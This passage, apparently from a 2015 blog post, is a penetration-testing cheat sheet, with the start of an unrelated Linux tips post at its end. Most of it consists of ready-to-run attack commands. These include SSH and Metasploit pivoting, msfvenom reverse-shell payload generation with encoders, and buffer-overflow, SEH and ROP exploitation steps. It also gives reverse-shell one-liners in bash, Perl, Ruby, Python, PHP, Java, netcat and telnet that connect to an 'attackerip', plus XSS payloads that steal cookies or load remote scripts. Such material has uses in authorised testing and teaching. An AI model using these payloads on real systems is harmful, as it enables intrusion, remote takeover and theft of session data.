<div class="highlight"><pre><code class="language-bash" data-lang="bash">wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
<span class="k">select</span> mingw32-base
<span class="nb">cd</span> /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip <span class="o">&&</span> unzip mingw_bin.zip
<span class="nb">cd</span> /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe</code></pre></div>
<h3 id="nasm-commands">NASM Commands</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">nasm -f bin -o payload.bin payload.asm
nasm -f elf payload.asm<span class="p">;</span> ld -o payload payload.o<span class="p">;</span> objdump -d payload</code></pre></div>
<h3 id="ssh-pivoting">SSH Pivoting</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">ssh -D 127.0.0.1:1080 -p <span class="m">22</span> user@IP
Add socks4 127.0.0.1 <span class="m">1080</span> in /etc/proxychains.conf
proxychains commands target</code></pre></div>
<h3 id="ssh-pivoting-from-one-network-to-another">SSH Pivoting from One Network to Another</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">ssh -D 127.0.0.1:1080 -p <span class="m">22</span> user1@IP1
Add socks4 127.0.0.1 <span class="m">1080</span> in /etc/proxychains.conf
proxychains ssh -D 127.0.0.1:1081 -p <span class="m">22</span> user1@IP2
Add socks4 127.0.0.1 <span class="m">1081</span> in /etc/proxychains.conf
proxychains commands target</code></pre></div>
<h3 id="pivoting-using-metasploit">Pivoting Using metasploit</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">route add X.X.X.X 255.255.255.0 1
use auxiliary/server/socks4a
run
proxychains msfcli windows/* <span class="nv">PAYLOAD</span><span class="o">=</span>windows/meterpreter/reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>IP <span class="nv">LPORT</span><span class="o">=</span><span class="m">443</span> <span class="nv">RHOST</span><span class="o">=</span>IP E
or
<span class="c"># https://www.offensive-security.com/metasploit-unleashed/pivoting/</span>
meterpreter > ipconfig
IP Address : 10.1.13.3
meterpreter > run autoroute -s 10.1.13.0/24
meterpreter > run autoroute -p
10.1.13.0 255.255.255.0 Session 1
meterpreter > Ctrl+Z
msf auxiliary<span class="o">(</span>tcp<span class="o">)</span> > use exploit/windows/smb/psexec
msf exploit<span class="o">(</span>psexec<span class="o">)</span> > <span class="nb">set </span>RHOST 10.1.13.2
msf exploit<span class="o">(</span>psexec<span class="o">)</span> > exploit
meterpreter > ipconfig
IP Address : 10.1.13.2</code></pre></div>
<h3 id="exploit-db-search-using-csv-file">Exploit-DB search using CSV File</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">git clone https://github.com/offensive-security/exploit-database.git
<span class="nb">cd </span>exploit-database
./searchsploit –u
./searchsploit apache 2.2
./searchsploit <span class="s2">"Linux Kernel"</span>
cat files.csv <span class="p">|</span> grep -i linux <span class="p">|</span> grep -i kernel <span class="p">|</span> grep -i <span class="nb">local</span> <span class="p">|</span> grep -v dos <span class="p">|</span> uniq <span class="p">|</span> grep 2.6 <span class="p">|</span> egrep <span class="s2">"<|<="</span> <span class="p">|</span> sort -k3</code></pre></div>
<h3 id="msf-payloads">MSF Payloads</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">msfvenom -p windows/meterpreter/reverse_tcp <span class="nv">LHOST</span><span class="o">=</span><IP Address> X > system.exe
msfvenom -p php/meterpreter/reverse_tcp <span class="nv">LHOST</span><span class="o">=</span><IP Address> <span class="nv">LPORT</span><span class="o">=</span><span class="m">443</span> R > exploit.php
msfvenom -p windows/meterpreter/reverse_tcp <span class="nv">LHOST</span><span class="o">=</span><IP Address> <span class="nv">LPORT</span><span class="o">=</span><span class="m">443</span> -e -a x86 --platform win -f asp -o file.asp
msfvenom -p windows/meterpreter/reverse_tcp <span class="nv">LHOST</span><span class="o">=</span><IP Address> <span class="nv">LPORT</span><span class="o">=</span><span class="m">443</span> -e x86/shikata_ga_nai -b <span class="s2">"\x00"</span> -a x86 --platform win -f c</code></pre></div>
<h3 id="msf-linux-reverse-meterpreter-binary">MSF Linux Reverse Meterpreter Binary</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">msfvenom -p linux/x86/meterpreter/reverse_tcp <span class="nv">LHOST</span><span class="o">=</span><IP Address> <span class="nv">LPORT</span><span class="o">=</span><span class="m">443</span> -e -f elf -a x86 --platform linux -o shell</code></pre></div>
<h3 id="msf-reverse-shell-c-shellcode">MSF Reverse Shell (C Shellcode)</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">msfvenom -p windows/shell_reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>127.0.0.1 <span class="nv">LPORT</span><span class="o">=</span><span class="m">443</span> -b <span class="s2">"\x00\x0a\x0d"</span> -a x86 --platform win -f c</code></pre></div>
<h3 id="msf-reverse-shell-python-script">MSF Reverse Shell Python Script</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">msfvenom -p cmd/unix/reverse_python <span class="nv">LHOST</span><span class="o">=</span>127.0.0.1 <span class="nv">LPORT</span><span class="o">=</span><span class="m">443</span> -o shell.py</code></pre></div>
<h3 id="msf-reverse-asp-shell">MSF Reverse ASP Shell</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">msfvenom -p windows/meterpreter/reverse_tcp <span class="nv">LHOST</span><span class="o">=</span><Your IP Address> <span class="nv">LPORT</span><span class="o">=</span><Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp</code></pre></div>
<h3 id="msf-reverse-bash-shell">MSF Reverse Bash Shell</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">msfvenom -p cmd/unix/reverse_bash <span class="nv">LHOST</span><span class="o">=</span><Your IP Address> <span class="nv">LPORT</span><span class="o">=</span><Your Port to Connect On> -o shell.sh</code></pre></div>
<h3 id="msf-reverse-php-shell">MSF Reverse PHP Shell</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">msfvenom -p php/meterpreter_reverse_tcp <span class="nv">LHOST</span><span class="o">=</span><Your IP Address> <span class="nv">LPORT</span><span class="o">=</span><Your Port to Connect On> -o shell.php
add <?php at the beginning
perl -i~ -0777pe<span class="s1">'s/^/<?php \n/'</span> shell.php</code></pre></div>
<h3 id="msf-reverse-win-bin">MSF Reverse Win Bin</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">msfvenom -p windows/meterpreter/reverse_tcp <span class="nv">LHOST</span><span class="o">=</span><Your IP Address> <span class="nv">LPORT</span><span class="o">=</span><Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe</code></pre></div>
<h3 id="linux-security-commands">Linux Security Commands</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># find programs with a set uid bit</span>
find / -uid <span class="m">0</span> -perm -4000
<span class="c"># find things that are world writable</span>
find / -perm -o<span class="o">=</span>w
<span class="c"># find names with dots and spaces, there shouldn’t be any</span>
find / -name <span class="s2">" "</span> -print
find / -name <span class="s2">".."</span> -print
find / -name <span class="s2">". "</span> -print
find / -name <span class="s2">" "</span> -print
<span class="c"># find files that are not owned by anyone</span>
find / -nouser
<span class="c"># look for files that are unlinked</span>
lsof +L1
<span class="c"># get information about procceses with open ports</span>
lsof -i
<span class="c"># look for weird things in arp</span>
arp -a
<span class="c"># look at all accounts including AD</span>
getent passwd
<span class="c"># look at all groups and membership including AD</span>
getent group
<span class="c"># list crontabs for all users including AD</span>
<span class="k">for</span> user in <span class="k">$(</span>getent passwd<span class="p">|</span>cut -f1 -d:<span class="k">)</span><span class="p">;</span> <span class="k">do</span> <span class="nb">echo</span> <span class="s2">"### Crontabs for $user ####"</span><span class="p">;</span> crontab -u <span class="nv">$user</span> -l<span class="p">;</span> <span class="k">done</span>
<span class="c"># generate random passwords</span>
cat /dev/urandom<span class="p">|</span> tr -dc ‘a-zA-Z0-9-_!@#<span class="nv">$%</span>^<span class="p">&</span>*<span class="o">()</span>_+<span class="o">{}</span><span class="p">|</span>:<>?<span class="o">=</span>’<span class="p">|</span>fold -w 12<span class="p">|</span> head -n 4
<span class="c"># find all immutable files, there should not be any</span>
find . <span class="p">|</span> xargs -I file lsattr -a file 2>/dev/null <span class="p">|</span> grep ‘^….i’
<span class="c"># fix immutable files</span>
chattr -i file</code></pre></div>
<h3 id="win-buffer-overflow-exploit-commands">Win Buffer Overflow Exploit Commands</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b <span class="s2">"\x00"</span> -f c
msfvenom -p windows/meterpreter/reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>X.X.X.X <span class="nv">LPORT</span><span class="o">=</span><span class="m">443</span> -a x86 --platform win -e x86/shikata_ga_nai -b <span class="s2">"\x00"</span> -f c
COMMONLY USED BAD CHARACTERS:
<span class="se">\x</span>00<span class="se">\x</span>0a<span class="se">\x</span>0d<span class="se">\x</span><span class="m">20</span> For http request
<span class="se">\x</span>00<span class="se">\x</span>0a<span class="se">\x</span>0d<span class="se">\x</span>20<span class="se">\x</span>1a<span class="se">\x</span>2c<span class="se">\x</span>2e<span class="se">\3</span>a<span class="se">\x</span>5c Ending with <span class="o">(</span>0<span class="se">\n\r</span>_<span class="o">)</span>
<span class="c"># Useful Commands:</span>
pattern create
pattern offset <span class="o">(</span>EIP Address<span class="o">)</span>
pattern offset <span class="o">(</span>ESP Address<span class="o">)</span>
add garbage upto EIP value and add <span class="o">(</span>JMP ESP address<span class="o">)</span> in EIP . <span class="o">(</span><span class="nv">ESP</span> <span class="o">=</span> shellcode <span class="o">)</span>
!pvefindaddr pattern_create 5000
!pvefindaddr suggest
!pvefindaddr modules
!pvefindaddr nosafeseh
!mona config -set workingfolder C:<span class="se">\M</span>ona<span class="se">\%</span>p
!mona config -get workingfolder
!mona mod
!mona bytearray -b <span class="s2">"\x00\x0a"</span>
!mona pc 5000
!mona po EIP
!mona suggest</code></pre></div>
<h3 id="seh---structured-exception-handling">SEH - Structured Exception Handling</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH</span>
!mona suggest
!mona nosafeseh
<span class="nv">nseh</span><span class="o">=</span><span class="s2">"\xeb\x06\x90\x90"</span> <span class="o">(</span>next seh chain<span class="o">)</span>
<span class="nv">iseh</span><span class="o">=</span> !pvefindaddr p1 -n -o -i <span class="o">(</span>POP POP RETRUN or POPr32,POPr32,RETN<span class="o">)</span></code></pre></div>
<h3 id="rop-dep">ROP (DEP)</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># https://en.wikipedia.org/wiki/Return-oriented_programming</span>
<span class="c"># https://en.wikipedia.org/wiki/Data_Execution_Prevention</span>
!mona modules
!mona ropfunc -m *.dll -cpb <span class="s2">"\x00\x09\x0a"</span>
!mona rop -m *.dll -cpb <span class="s2">"\x00\x09\x0a"</span> <span class="o">(</span>auto suggest<span class="o">)</span></code></pre></div>
<h3 id="aslr---address-space-layout-randomization">ASLR - Address space layout randomization</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># https://en.wikipedia.org/wiki/Address_space_layout_randomization</span>
!mona noaslr</code></pre></div>
<h3 id="egg-hunter-techniques">EGG Hunter techniques</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/</span>
<span class="c"># http://www.fuzzysecurity.com/tutorials/expDev/4.html</span>
!mona jmp -r esp
!mona egg -t lxxl
<span class="se">\x</span>eb<span class="se">\x</span>c4 <span class="o">(</span>jump backward -60<span class="o">)</span>
<span class="nv">buff</span><span class="o">=</span>lxxllxxl+shell
!mona egg -t <span class="s1">'w00t'</span></code></pre></div>
<h3 id="gdb-debugger-commands">GDB Debugger Commands</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># Setting Breakpoint</span>
<span class="nb">break</span> *_start
<span class="c"># Execute Next Instruction</span>
next
step
n
s
<span class="c"># Continue Execution</span>
<span class="k">continue</span>
c
<span class="c"># Data</span>
checking <span class="s1">'REGISTERS'</span> and <span class="s1">'MEMORY'</span>
<span class="c"># Display Register Values: (Decimal,Binary,Hex)</span>
print /d –> Decimal
print /t –> Binary
print /x –> Hex
O/P :
<span class="o">(</span>gdb<span class="o">)</span> print /d <span class="nv">$eax</span>
<span class="nv">$17</span> <span class="o">=</span> 13
<span class="o">(</span>gdb<span class="o">)</span> print /t <span class="nv">$eax</span>
<span class="nv">$18</span> <span class="o">=</span> 1101
<span class="o">(</span>gdb<span class="o">)</span> print /x <span class="nv">$eax</span>
<span class="nv">$19</span> <span class="o">=</span> 0xd
<span class="o">(</span>gdb<span class="o">)</span>
<span class="c"># Display values of specific memory locations</span>
<span class="nb">command</span> : x/nyz <span class="o">(</span>Examine<span class="o">)</span>
n –> Number of fields to <span class="nv">display</span> <span class="o">==</span>>
y –> Format <span class="k">for</span> <span class="nv">output</span> <span class="o">==</span>> c <span class="o">(</span>character<span class="o">)</span> , d <span class="o">(</span>decimal<span class="o">)</span> , x <span class="o">(</span>Hexadecimal<span class="o">)</span>
z –> Size of field to be <span class="nv">displayed</span> <span class="o">==</span>> b <span class="o">(</span>byte<span class="o">)</span> , h <span class="o">(</span>halfword<span class="o">)</span>, w <span class="o">(</span>word <span class="m">32</span> Bit<span class="o">)</span></code></pre></div>
<h3 id="bash-reverse-shell">BASH Reverse Shell</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">bash -i ><span class="p">&</span> /dev/tcp/X.X.X.X/443 0><span class="p">&</span>1
<span class="nb">exec</span> /bin/bash 0<span class="p">&</span><span class="m">0</span> 2><span class="p">&</span>0
<span class="nb">exec</span> /bin/bash 0<span class="p">&</span><span class="m">0</span> 2><span class="p">&</span>0
0<<span class="p">&</span>196<span class="p">;</span><span class="nb">exec </span>196<>/dev/tcp/attackerip/4444<span class="p">;</span> sh <<span class="p">&</span><span class="m">196</span> ><span class="p">&</span><span class="m">196</span> 2><span class="p">&</span>196
0<<span class="p">&</span>196<span class="p">;</span><span class="nb">exec </span>196<>/dev/tcp/attackerip/4444<span class="p">;</span> sh <<span class="p">&</span><span class="m">196</span> ><span class="p">&</span><span class="m">196</span> 2><span class="p">&</span>196
<span class="nb">exec </span>5<>/dev/tcp/attackerip/4444 cat <<span class="p">&</span><span class="m">5</span> <span class="p">|</span> <span class="k">while</span> <span class="nb">read </span>line<span class="p">;</span> <span class="k">do</span> <span class="nv">$line</span> 2><span class="p">&</span><span class="m">5</span> ><span class="p">&</span>5<span class="p">;</span> <span class="k">done</span> <span class="c"># or: while read line 0<&5; do $line 2>&5 >&5; done</span>
<span class="nb">exec </span>5<>/dev/tcp/attackerip/4444
cat <<span class="p">&</span><span class="m">5</span> <span class="p">|</span> <span class="k">while</span> <span class="nb">read </span>line<span class="p">;</span> <span class="k">do</span> <span class="nv">$line</span> 2><span class="p">&</span><span class="m">5</span> ><span class="p">&</span>5<span class="p">;</span> <span class="k">done</span> <span class="c"># or:</span>
<span class="k">while</span> <span class="nb">read </span>line 0<<span class="p">&</span>5<span class="p">;</span> <span class="k">do</span> <span class="nv">$line</span> 2><span class="p">&</span><span class="m">5</span> ><span class="p">&</span>5<span class="p">;</span> <span class="k">done</span>
/bin/bash -i > /dev/tcp/attackerip/8080 0<<span class="p">&</span><span class="m">1</span> 2><span class="p">&</span>1
/bin/bash -i > /dev/tcp/X.X.X.X/443 0<<span class="p">&</span><span class="m">1</span> 2><span class="p">&</span>1</code></pre></div>
<h3 id="perl-reverse-shell">PERL Reverse Shell</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">perl -MIO -e <span class="s1">'$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'</span>
<span class="c"># for win platform</span>
perl -MIO -e <span class="s1">'$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'</span>
perl -e <span class="err">'</span>use Socket<span class="p">;</span><span class="nv">$i</span><span class="o">=</span><span class="s2">"10.0.0.1"</span><span class="p">;</span><span class="nv">$p</span><span class="o">=</span>1234<span class="p">;</span>socket<span class="o">(</span>S,PF_INET,SOCK_STREAM,getprotobyname<span class="o">(</span><span class="s2">"tcp"</span><span class="o">))</span><span class="p">;</span><span class="k">if</span><span class="o">(</span>connect<span class="o">(</span>S,sockaddr_in<span class="o">(</span><span class="nv">$p</span>,inet_aton<span class="o">(</span><span class="nv">$i</span><span class="o">)))){</span>open<span class="o">(</span>STDIN,<span class="s2">">&S"</span><span class="o">)</span><span class="p">;</span>open<span class="o">(</span>STDOUT,<span class="s2">">&S"</span><span class="o">)</span><span class="p">;</span>open<span class="o">(</span>STDERR,<span class="s2">">&S"</span><span class="o">)</span><span class="p">;</span><span class="nb">exec</span><span class="o">(</span><span class="s2">"/bin/sh -i"</span><span class="o">)</span><span class="p">;</span><span class="o">}</span><span class="p">;</span>’</code></pre></div>
<h3 id="ruby-reverse-shell">RUBY Reverse Shell</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">ruby -rsocket -e <span class="s1">'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'</span>
<span class="c"># for win platform</span>
ruby -rsocket -e <span class="s1">'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'</span>
ruby -rsocket -e <span class="s1">'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'</span></code></pre></div>
<h3 id="python-reverse-shell">PYTHON Reverse Shell</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">python -c <span class="s1">'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'</span></code></pre></div>
<h3 id="php-reverse-shell">PHP Reverse Shell</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">php -r <span class="s1">'$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'</span></code></pre></div>
<h3 id="java-reverse-shell">JAVA Reverse Shell</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">r</span> <span class="o">=</span> Runtime.getRuntime<span class="o">()</span>
<span class="nv">p</span> <span class="o">=</span> r.exec<span class="o">([</span><span class="s2">"/bin/bash"</span>,<span class="s2">"-c"</span>,<span class="s2">"exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"</span><span class="o">]</span> as String<span class="o">[])</span>
p.waitFor<span class="o">()</span></code></pre></div>
<h3 id="netcat-reverse-shell">NETCAT Reverse Shell</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">nc -e /bin/sh attackerip 4444
nc -e /bin/sh 192.168.37.10 443
<span class="c"># If the -e option is disabled, try this</span>
<span class="c"># mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe</span>
/bin/sh <span class="p">|</span> nc attackerip 443
rm -f /tmp/p<span class="p">;</span> mknod /tmp/p p <span class="o">&&</span> nc attackerip <span class="m">4443</span> 0/tmp/
<span class="c"># If you have the wrong version of netcat installed, try</span>
rm /tmp/f<span class="p">;</span>mkfifo /tmp/f<span class="p">;</span>cat /tmp/f<span class="p">|</span>/bin/sh -i 2><span class="p">&</span>1<span class="p">|</span>nc attackerip >/tmp/f</code></pre></div>
<h3 id="telnet-reverse-shell">TELNET Reverse Shell</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># If netcat is not available or /dev/tcp</span>
mknod backpipe p <span class="o">&&</span> telnet attackerip <span class="m">443</span> 0<backpipe <span class="p">|</span> /bin/bash 1>backpipe</code></pre></div>
<h3 id="xterm-reverse-shell">XTERM Reverse Shell</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># Start an open X Server on your system (:1 – which listens on TCP port 6001)</span>
apt-get install xnest
Xnest :1
<span class="c"># Then remember to authorise on your system the target IP to connect to you</span>
xterm -display 127.0.0.1:1
<span class="c"># Run this INSIDE the spawned xterm on the open X Server</span>
xhost +targetip
<span class="c"># Then on the target connect back to the your X Server</span>
xterm -display attackerip:1
/usr/openwin/bin/xterm -display attackerip:1
or
<span class="nv">$ DISPLAY</span><span class="o">=</span>attackerip:0 xterm</code></pre></div>
<h3 id="xss-cheat-codes">XSS Cheat Codes</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
<span class="o">(</span><span class="s2">"< iframes > src=http://IP:PORT </ iframes >"</span><span class="o">)</span>
<script>document.location<span class="o">=</span>http://IP:PORT</script>
<span class="s1">';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'</span>><SCRIPT>alert<span class="o">(</span>String.fromCharCode<span class="o">(</span>88,83,83<span class="o">))</span></SCRIPT>
<span class="s2">";!–"</span><XSS><span class="o">=</span><span class="p">&</span>amp<span class="p">;</span>amp<span class="p">;</span><span class="o">{()}</span>
<IMG <span class="nv">SRC</span><span class="o">=</span><span class="s2">"javascript:alert('XSS');"</span>>
<IMG <span class="nv">SRC</span><span class="o">=</span>javascript:alert<span class="o">(</span><span class="s1">'XSS'</span><span class="o">)</span>>
<IMG <span class="s2">"""><SCRIPT>alert("</span>XSS<span class="s2">")</SCRIPT>""></span>
<span class="s2"><IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#39;&amp;amp;#88;&amp;amp;#83;&amp;amp;#83;&amp;amp;#39;&amp;amp;#41;></span>
<span class="s2"><IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041></span>
<span class="s2"><IMG SRC="</span>jav ascript:alert<span class="o">(</span><span class="s1">'XSS'</span><span class="o">)</span><span class="p">;</span><span class="s2">"></span>
<span class="s2">perl -e 'print "</span><IMG <span class="nv">SRC</span><span class="o">=</span>javascript:alert<span class="o">(</span><span class="se">\"</span>XSS<span class="se">\"</span><span class="o">)</span>><span class="s2">";' > out</span>
<span class="s2"><BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert("</span>XSS<span class="s2">")></span>
<span class="s2">("</span>>< iframes http://google.com < iframes ><span class="o">)</span>
<BODY <span class="nv">BACKGROUND</span><span class="o">=</span><span class="s2">"javascript:alert('XSS')"</span>>
<FRAMESET><FRAME <span class="nv">SRC</span><span class="o">=</span>”javascript:alert<span class="o">(</span><span class="s1">'XSS'</span><span class="o">)</span><span class="p">;</span><span class="s2">"></FRAMESET></span>
<span class="s2">"</span>><script >alert<span class="o">(</span>document.cookie<span class="o">)</span></script>
%253cscript%253ealert<span class="o">(</span>document.cookie<span class="o">)</span>%253c/script%253e
<span class="s2">"><s"</span>%2b<span class="err">"</span>cript>alert<span class="o">(</span>document.cookie<span class="o">)</span></script>
%22/%3E%3CBODY%20onload<span class="o">=</span>’document.write<span class="o">(</span>%22%3Cs%22%2b%22cript%20src<span class="o">=</span>http://my.box.com/xss.js%3E%3C/script%3E%22<span class="o">)</span><span class="err">'</span>%3E
<img <span class="nv">src</span><span class="o">=</span>asdf <span class="nv">onerror</span><span class="o">=</span>alert<span class="o">(</span>document.cookie<span class="o">)</span>></code></pre></div>
<h3 id="ssh-over-sctp-with-socat">SSH Over SCTP (With Socat)</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># on remote server</span>
<span class="c"># assuming you want the SCTP socket to listen on port 80/SCTP and sshd is on 22/TCP</span>
<span class="nv">$ </span>socat SCTP-LISTEN:80,fork TCP:localhost:22
<span class="c"># localhost</span>
<span class="c"># replace SERVER_IP with IP of listening server, and 80 with whatever port the SCTP listener is on :)</span>
<span class="nv">$ </span>socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80
<span class="c"># create socks proxy</span>
<span class="c"># replace username and -p port value as needed...</span>
<span class="nv">$ </span>ssh -lusername localhost -D <span class="m">8080</span> -p 1337</code></pre></div>
<h3 id="install-metasploit-community-edition-in-kali-20">Install Metasploit Community Edition in Kali 2.0</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># github urls</span>
https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version
wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run <span class="o">&&</span> chmod
+x metasploit-latest-linux-x64-installer.run <span class="o">&&</span> ./metasploit-latest-linux-x64-installer.run
<span class="c"># create user</span>
<span class="nv">$ </span>/opt/metasploit/createuser
<span class="o">[</span>*<span class="o">]</span> Please enter a username: root
<span class="o">[</span>*<span class="o">]</span> Creating user <span class="s1">'root'</span> with password <span class="s1">'LsRRV[I^5'</span> ...
<span class="c"># activate your metasploit license</span>
https://localhost:3790
<span class="c"># update metasploite</span>
<span class="nv">$ </span>/opt/metasploit/app/msfupdate
<span class="c"># use msfconsole</span>
<span class="nv">$ </span>/opt/metasploit/app/msfconsole</code></pre></div>
<p><a href="https://jivoi.github.io/2015/07/01/pentest-tips-and-tricks/">Pentest Tips and Tricks</a> was originally published by EK at <a href="https://jivoi.github.io">EK</a> on July 01, 2015.</p>https://jivoi.github.io/2015/07/01/linux-unix-it-tips-and-tricks-number-32015-07-01 17:23:41 +0300T00:00:00-00:002015-07-01T00:00:00+03:00EKhttps://jivoi.github.io[email protected]<p>Different Linux / Unix / IT tips, notes, howto part 3</p>
<section id="table-of-contents" class="toc">
<header>
<h3>Contents</h3>
</header>
<div id="drawer">
<ul id="markdown-toc">
<li><a href="#other-parts" id="markdown-toc-other-parts">Other parts</a></li>
<li><a href="#speed-up-mysql-import" id="markdown-toc-speed-up-mysql-import">Speed up MySQL Import</a></li>
<li><a href="#coreutils-list" id="markdown-toc-coreutils-list">Coreutils List</a></li>
<li><a href="#list-all-process-swap-space-usage" id="markdown-toc-list-all-process-swap-space-usage">List all process swap space usage</a></li>
<li><a href="#delete-millions-files-from-dir" id="markdown-toc-delete-millions-files-from-dir">Delete millions files from dir</a></li>
<li><a href="#nice-diff" id="markdown-toc-nice-diff">Nice Diff</a></li>
<li><a href="#run-jobs-with-parallel" id="markdown-toc-run-jobs-with-parallel">Run jobs with parallel</a></li>
<li><a href="#awk-ps-sum" id="markdown-toc-awk-ps-sum">Awk PS SUM</a></li>
<li><a href="#show-ext4-fragmentation-" id="markdown-toc-show-ext4-fragmentation-">Show ext4 fragmentation %</a></li>
<li><a href="#statistic-of-system-resource" id="markdown-toc-statistic-of-system-resource">Statistic of system resource</a></li>
<li><a href="#tcpdump-with-ssh-stream" id="markdown-toc-tcpdump-with-ssh-stream">Tcpdump with SSH stream</a></li>
<li><a href="#linux-namespaces" id="markdown-toc-linux-namespaces">Linux Namespaces</a></li>
<li><a href="#show-daemon-list-need-to-restart-after-update" id="markdown-toc-show-daemon-list-need-to-restart-after-update">Show daemon list need to restart after update</a></li>
<li><a href="#increases-tcpdump-buffer" id="markdown-toc-increases-tcpdump-buffer">Increases TCPdump buffer</a></li>
<li><a href="#get-firefox-bookmarks" id="markdown-toc-get-firefox-bookmarks">Get Firefox bookmarks</a></li>
<li><a href="#ssl-certs-info" id="markdown-toc-ssl-certs-info">SSL certs info</a></li>
<li><a href="#reset-root-password-on-rhel7centos7" id="markdown-toc-reset-root-password-on-rhel7centos7">Reset root password on RHEL7\CentOS7</a> <ul>
<li><a href="#blacklisting-firewire-in-linux" id="markdown-toc-blacklisting-firewire-in-linux">Blacklisting firewire in Linux</a></li>
<li><a href="#install-ubuntu-openstack" id="markdown-toc-install-ubuntu-openstack">Install Ubuntu OpenStack</a></li>
<li><a href="#vagrant-winxp" id="markdown-toc-vagrant-winxp">Vagrant WinXP</a></li>
<li><a href="#simple-cut-video-in-linux" id="markdown-toc-simple-cut-video-in-linux">Simple Cut Video in linux</a></li>
<li><a href="#how-to-clean-tmp-dir-on-boot" id="markdown-toc-how-to-clean-tmp-dir-on-boot">How to clean TMP dir on boot</a></li>
<li><a href="#the-port-scan-attack-detector---psad" id="markdown-toc-the-port-scan-attack-detector---psad">The port scan attack detector - PSAD</a></li>
<li><a href="#snmptrap-using" id="markdown-toc-snmptrap-using">SNMPTrap using</a></li>
<li><a href="#remove-postfix-resiver-header" id="markdown-toc-remove-postfix-resiver-header">Remove Postfix Resiver Header</a></li>
<li><a href="#ssh-key-login-only-for-one-user" id="markdown-toc-ssh-key-login-only-for-one-user">SSH key login only for one user</a></li>
